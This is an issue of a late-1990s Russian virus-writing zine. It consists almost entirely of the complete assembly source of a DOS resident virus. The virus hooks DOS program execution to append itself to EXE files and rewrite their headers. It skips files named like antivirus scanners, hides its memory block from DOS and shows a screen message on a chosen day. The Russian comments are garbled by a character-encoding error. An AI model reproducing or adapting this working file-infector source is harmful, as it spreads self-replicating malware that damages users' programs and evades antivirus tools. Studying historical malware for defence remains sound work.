 INFECTED VOICE  OnLine                (C)1994-98, by STEALTH group
 h/p/v/a zine [Russian]                http://sourceofkaos.com/stealth
                                       http://www.redline.ru/~one
 1998 Online Issue #0                  mailto: noxyucT@usa.net
-----------------------------------------------------------------------


; (c) 1998 by FlashLight.
; --------------------------------------------------------------------------
; 頥 ...  ! ...   ! ...  !   ! !
; ᠭ   ,   ᠫ 㡮, , 㪮, 孮-
; ᮩ  窥 FlashLight.
; ⮩ TSR.EXE Infects on 21h/4Bh । ,
;   OneHalf :) ⪠, । ⨪.    ⥫!
;   ਬ!
;  쭨 । ᫠ ( ᨬ  20) 뢮 "ࠢ".
; !  copychit'a ᮯ஢ 㤠 ࢭ ⮪
;   ...
; --------------------------------------------------------------------------

.286
.model small
day=1 ; 쭨 (  쭨   த... :)
time=21840 ; 20 minutes (20*60 sec*18.2)
@version equ 1000h

at_green=00001010b  ; મ-.  ୮
at_yellow=00001110b ; મ-.  ୮
at_violet=00001100b ; 䨮.  ୮ ( )

push_all macro  ; :
        pusha   ; ࠭塞  ॣ  ⥪
        push es ;  ᥣ
        push ds ; ⮦
endm
pop_all macro   ; :
       pop ds   ; . ᥣ
       pop es
       popa     ; ⠭  ॣ  ⥪
endm

; : 㧠
pause macro
cli         ;  뢠
in al,60h   ;  ⥪. ﭨ 
mov cs:[val_],al ;  ﭨ
@p:
in al,60h        ;  . 
cmp al,cs:[val_] ; ?
jz @p            ; 祭 - 
sti              ; ࠧ 뢠
endm

code segment para public 'code'
assume cs:code,ds:code,es:code,ss:code
       org 0
start:
  call vir_main  ; । ᬥ饭  䠩
vir_main:        ;   㤥   ⥪
  pop bp         ; ६   ⥪
  sub bp,3       ; 㬥訬  3 (..  call vir_main
alt=offset vir_main   ;  3 )
  jmp init       ;  ⠭  

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;   墠祭  8 (⠩). 墠뢠 ⮫쪮 
; 쭨 । ᫠,   ⠫쭮 ६  ࠡ⠥.
; 뢠  8 ᥬ ࠧ  ᥪ㭤
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Hooked_int8:
  pushf     ; ࠭ 䫠  ⥪
  cmp word ptr cs:[counter],time ; ஢ਬ 稪
  jz effect_run                  ; ᫨ ᮢ,  ᪠ 䥪
  inc word ptr cs:[counter]      ; ᫨ ६  諮,  㢥稢
  popf                           ; 稪.
  jmp @back                      ;  室
effect_run:
  mov cs:[counter],0  ; 塞 稪, ⮡ १ 20 .  
  push_all            ; ࠭  ॣ
  push cs
  pop ds              ; DS=CS
  call eff_pr         ; 뢠 䥪
  pop_all ; ⠭  ॣ
  popf    ; ⠭ 䫠
@back:
  db 0eah   ;   jmp far
  old8 dd 0 ;  ᫮-ਣ   8

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;   ᮡ⢥  ᠬ 䥪
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
eff_pr:
; ᭠砫 ࠭   ப ࠭
  push ds ; . DS
  pop es
  push ds ; DS=ES
  cld
  mov cx,80*2*3 ; 3 ப
  mov ax,0b800h ;  
  mov ds,ax
  mov di,offset buf+20h ;  㤥 ࠭
  xor si,si             ;  㤥  (B800:0000)
  rep movsb             ; 堫
  pop ds                ; ⠭ DS
  mov es,ax             ; ES=B800
  xor di,di             ;   뢮
  mov si,offset mess    ; ᬥ饭 ப, . 㤥 뢮
  mov cx,len*2          ;  ப*2
  mov dl,at_green       ; ਡ 梥
  call out_mess         ; 楤 뢮 ப  ࠭
; ⠫  ப 뢮 ⠪  ஬
  mov si,offset mess2
  mov cx,len2*2
  mov dl,at_yellow
  call out_mess

  mov si,offset mess3
  mov cx,len3*2
  mov dl,at_violet
  call out_mess

  pause ; ,    

; ⠭ ᮤন ࠭
  cld
  mov cx,80*2*3         ; ⢮ 
  xor di,di             ;  ᬥ饭 0
  mov si,offset buf+20h ;   ࠭
  rep movsb             ; ᫠
  ret

; si- offset mess
; cx- len
; dl- attribute
out_mess:
  movsb
  mov byte ptr es:[di],dl
  dec cx
  inc di
  loop out_mess
  ret

mess    db '-,  -,  -,  -,  -!,'
len=$-mess
mess2   db '-, -  !   !   !     '
len2=$-mess2
mess3   db '  ᮧ ॥ ...  ,  .() ࠦ᪠ ஭'
len3=$-mess3
val_    db 0
counter dw 0 ; 稪

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; 墠祭  21H.   㤥 ࠦ  믮 (4BH)
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Hooked_int21:
  pushf
  cmp ax,0ddddh   ; ஢ઠ  ⠫
  jnz check_run
  mov ax,01111h   ;  AX 䨪,  㦥   
  mov si,@version ;  SI 㭥 
  popf            ;  㦥   :)
  iret
check_run:
  cmp ax,4B00h   ; ?
  jz process
  jmp return_back ; ,  
process:
  int 3
  push_all
  mov si,dx       ;  ᪥    DS:DX
  mov ax,word ptr ds:[si+3]
  or ax,2020h
  cmp ax,'oc'     ; COMMAND.COM
  jz process_over ;  ࠦ
  cmp ax,'rd'     ; dRWEB-
  jz process_over ;  ࠦ
  cmp ax,'ia'     ; -
  jz process_over ;  ࠦ
  call super_open ; ஥ 䠩.
  jc process_over ; 訡- 室
; 訡 , ஡㥬 ࠧ
  push ds
  push cs
  pop ds
; ⠥ 
  mov ah,3fh
  mov cx,18h
  mov dx,offset buf
  int 21h
  pop ds
  jc process_close  ; 訡-室
  mov di,offset buf ; 㪠뢠, 㤠  ⠫ 
  call exe_config   ;  楤 ࠨ 
  or ax,ax          ; AX=0,   訡 (䠩 ⨯ COM)
  jz process_close  ; ⨥
  call write_it     ;    ⥫ 
  jc process_close  ; ஥
process_close:
  mov ah,3eh      ; ஥
  int 21h
process_over:
  pop_all         ; ⠭ . ॣ஢
return_back:
  popf
db 0EAh      ; 룭  騩
int21 dd 0   ; INT 21H

write_it:
        push ds
        push cs
        pop ds
; 㪠⥫  
        xor cx,cx
        xor dx,dx
        mov ax,4202h
        int 21h
        jc write_exit
; 襬 
        mov ax,4000h
        xor dx,dx
        mov cx,len_bytes
        int 21h
        jc write_exit
; 㪠⥫  砫
        xor cx,cx
        xor dx,dx
        mov ax,4200h
        int 21h
        jc write_exit
; 襬 
        mov ax,4000h
        mov dx,offset buf
        mov cx,18h
        int 21h
write_exit:
        pop ds
        ret

; SUPER_OPEN 뢠 ⮬,  ࠭    १ SFT
;  ⥯    祪 ᪠,  SFT  :(
;   ⠫ :))
super_open:
        push es
; ⨥
        mov ax,3d02h
        int 21h
        jc sup_exit ; <--室.
        xchg ax,bx  ;  㬮砭 handle 頥  ax, BX=AX
; । .
; 筮,   뫮  १ SFT (᫨ 㦥  ਠ,
;  ),  ⢥ ,   窠 SFT   :(
; ⮬ ⨬...  䨣 ᥡ, ᪠, - SFT 㦥
; ਢ筮  :))
; 㪠⥫  
        mov ax,4202h
        xor cx,cx
        mov dx,cx
        int 21h
; ᫥ ⠪   DX:AX  䠩
        mov cs:[flen_h],dx
        mov cs:[flen_l],ax
; ⥯ ⠭ 㪠⥫,   ⮬   㤥
        mov ax,4200h
        xor cx,cx
        mov dx,cx
        int 21h
sup_exit:
        pop es
        ret

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;  ⠪ ࠨ  譨, ⮡ ந室 ।
; ࠢ.
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
exe_config:
        clc
        cmc
        cmp word ptr cs:[di+12h],7777h ;  㦥 ࠦ?
        jz exit2                       ; ,  室
        cmp word ptr cs:[di],'ZM'      ;    EXE譨?
        jnz exit2                      ; , ...
        clc            ; ᨬ carry flag (ਧ 訡)
; ⥯ ࠭  祭,   ਣ
;  । ࠢ 譨
        mov si,cs:[di+0eh]  ; 祭 SS
        mov cs:exe_ss,si
        mov si,cs:[di+10h]  ; 祭 SP
        mov cs:exe_sp,si
        mov si,cs:[di+14h]  ; 祭 IP
        mov cs:exe_ip,si
        mov si,cs:[di+16h]  ; 祭 CS
        mov cs:exe_cs,si
        mov word ptr cs:[di+12h],7777h ; ⥯ ⠢ ਧ ࠦ
        mov cs:[di+10h],len_bytes+100h ; 祭 SP  ⥫ 
; ⥯ ⠥ ᬥ饭, 㤠 ந । ࠢ 
; ᪥ 䠩
        mov ax,cs:flen_l
        mov dx,cs:flen_h
        mov cx,16
        div cx
        sub ax,cs:[di+8]   ; ⥬  
; 襬   ⮫쪮  祭 祭
        mov cs:[di+16h],ax ; CS
        mov cs:[di+0eh],ax ; SS
        mov cs:[di+14h],dx ; IP
; ⥯  祭  , . ⢥   䠩
        mov si,len_bytes   ;  
        ;add si,100h
        mov ax,cs:flen_l
        mov dx,cs:flen_h
        add ax,si          ;    䠩  
        adc dx,0           ;  砩 ९
        mov cx,512         ; 祬     512 
        div cx
        or dx,dx           ; dx=0
        jz get_new         ;   :)
        inc ax
get_new:
        mov cs:[di+4],ax    ; 襬 祭 
        mov cs:[di+2],dx    ;  
config_exit:
        ret
exit2:
        xor ax,ax
        ret

parm_block:
flen_h dw 0
flen_l dw 0
ftime dw 0
fdate dw 0
db '(c) Copychit by FlashLight',0
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; ⠭  . ᫨ ᥣ 쭨  ᫮>20, 
;  ⠭ int 8  맮 䥪
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
init:
       push_all
;    㦥  ?
       mov ax,0ddddh
       int 21h
       cmp ax,01111h
       jnz @1
       jmp quit      ;  室 , ⮣  室
@1:
       push ds
       mov bx,ds
       dec dx
       mov ds,bx
       mov bx,ds:[3] ;  
       pop ds
       sub bx,(len_bytes/16)+7  ; 㬥訬  ⮫쪮, ᪮쪮  .
       mov ah,4Ah               ;  
       int 21h                  ; 뤥  
       jc quit
       mov ah,48h               ;  ⥯ 뤥塞 ᥡ
       mov bx,(len_bytes/16)+6  ; ⮪ 
       int 21h
       jc quit

       push cs
       push ax
; ࠭ int21
;    頫...
       xor si,si
       mov ds,si
       mov si,ds:[84h]
       mov word ptr cs:[int21-vir_main+bp+alt],si
       mov si,ds:[86h]
       mov word ptr cs:[int21-vir_main+2+bp+alt],si
; ࠭  8,  ᨬ  ⮣, 㤥  墠뢠  
       mov si,ds:[8h*4]
       mov word ptr cs:[old8-vir_main+bp+alt],si
       mov si,ds:[8h*4+2]
       mov word ptr cs:[old8-vir_main+bp+alt+2],si
; y  ᥣ
       pop es ; 㤠 㤥 
       pop ds ; 㤮
       cld
       mov si,bp ; si=ᬥ饭  䠩
       xor di,di ; di=0
       mov cx,len_bytes ; cx=
       rep movsb ; 㥬. ..  ⠪. :)

       mov ds,cx
       mov word ptr ds:[84h],offset Hooked_int21
       mov ds:[86h],es
; 稬 ⥬ 
       mov ah,2Ah
       int 21h
; ⨬ 뢠,  8  ⠭
       cli
       cmp al,day ; 쭨?
       jnz hide   ;  筮
       cmp dl,20
       jb hide
; ⠭  ᥡ
       mov word ptr ds:[8h*4],offset Hooked_int8
       mov ds:[8h*4+2],es
hide:
; ᪨㥬  
       mov si,es
       dec si
       mov es,si
       mov word ptr es:[1],0070h ;  DOS    㧨,
       sti                       ; ⥯  㦠... :)
quit:
       cmp cs:[exe_ss+bp],0 ; ஢ઠ,     
       jz do_it

asdf:
;  ⠪ 룫廊 । ࠢ EXE'譨
;  뫮 ᤥ १ jmp far, ⮣   諮
;   ⥪
       mov ax,es
       add ax,10h
       add cs:[exe_ss+bp],ax
       add cs:[exe_cs+bp],ax
       pop_all
       cli
       mov ss,cs:[exe_ss+bp]
       mov sp,cs:[exe_sp+bp]
       sti
       push cs:[exe_cs+bp]
       push cs:[exe_ip+bp]
       xor bp,bp
       retf
do_it:
;  ⠭  륤  
        pop_all
        mov ax,4c00h
        int 21h
exe_ss dw 0
exe_sp dw 0
exe_cs dw 0
exe_ip dw 0
len_bytes=$-start
len_par=($-start)/16+3
buf:
code ends
end start
; ,       ஢,  ᫨ ,   騪
;    㣠祢,  ன   ,  
;  㦠... %-E
===cut here===
